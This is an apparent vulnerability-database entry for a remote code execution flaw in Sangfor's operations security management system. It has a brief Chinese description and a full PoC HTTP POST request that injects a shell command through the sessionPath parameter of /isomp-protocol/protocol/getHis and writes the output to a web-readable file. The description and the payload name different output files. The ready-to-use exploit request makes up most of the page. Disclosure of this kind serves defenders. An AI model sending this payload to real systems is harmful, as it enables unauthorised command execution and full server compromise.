深信服运维安全管理系统 /isomp-protocol/protocol/getHis 代码执行漏洞

2026-02-06 深信服运维安全管理系统 PoC Public

Description

深信服运维安全管理系统 /isomp-protocol/protocol/getHis 接口存在远程代码执行漏洞，攻击者可通过构造恶意的 POST 请求，在 sessionPath 参数中注入系统命令，命令执行结果会被写入到 /usr/local/tomcat/webapps/isomp-protocol/okm.txt 文件中，攻击者可通过访问该文件获取命令执行结果，进而控制整个服务器。

PoC

POST /isomp-protocol/protocol/getHis HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 75
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Mobile/15E148 Safari/604.1
Accept-Encoding: gzip
Connection: keep-alive,close

sessionPath=;id>/usr/local/tomcat/webapps/isomp-protocol/ok3sr2m.txt;&sid=1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Sangfor Operation and Maintenance Security Management System /isomp-protocol/protocol/getHis Code Execution Vulnerability

References

Related Vulnerabilities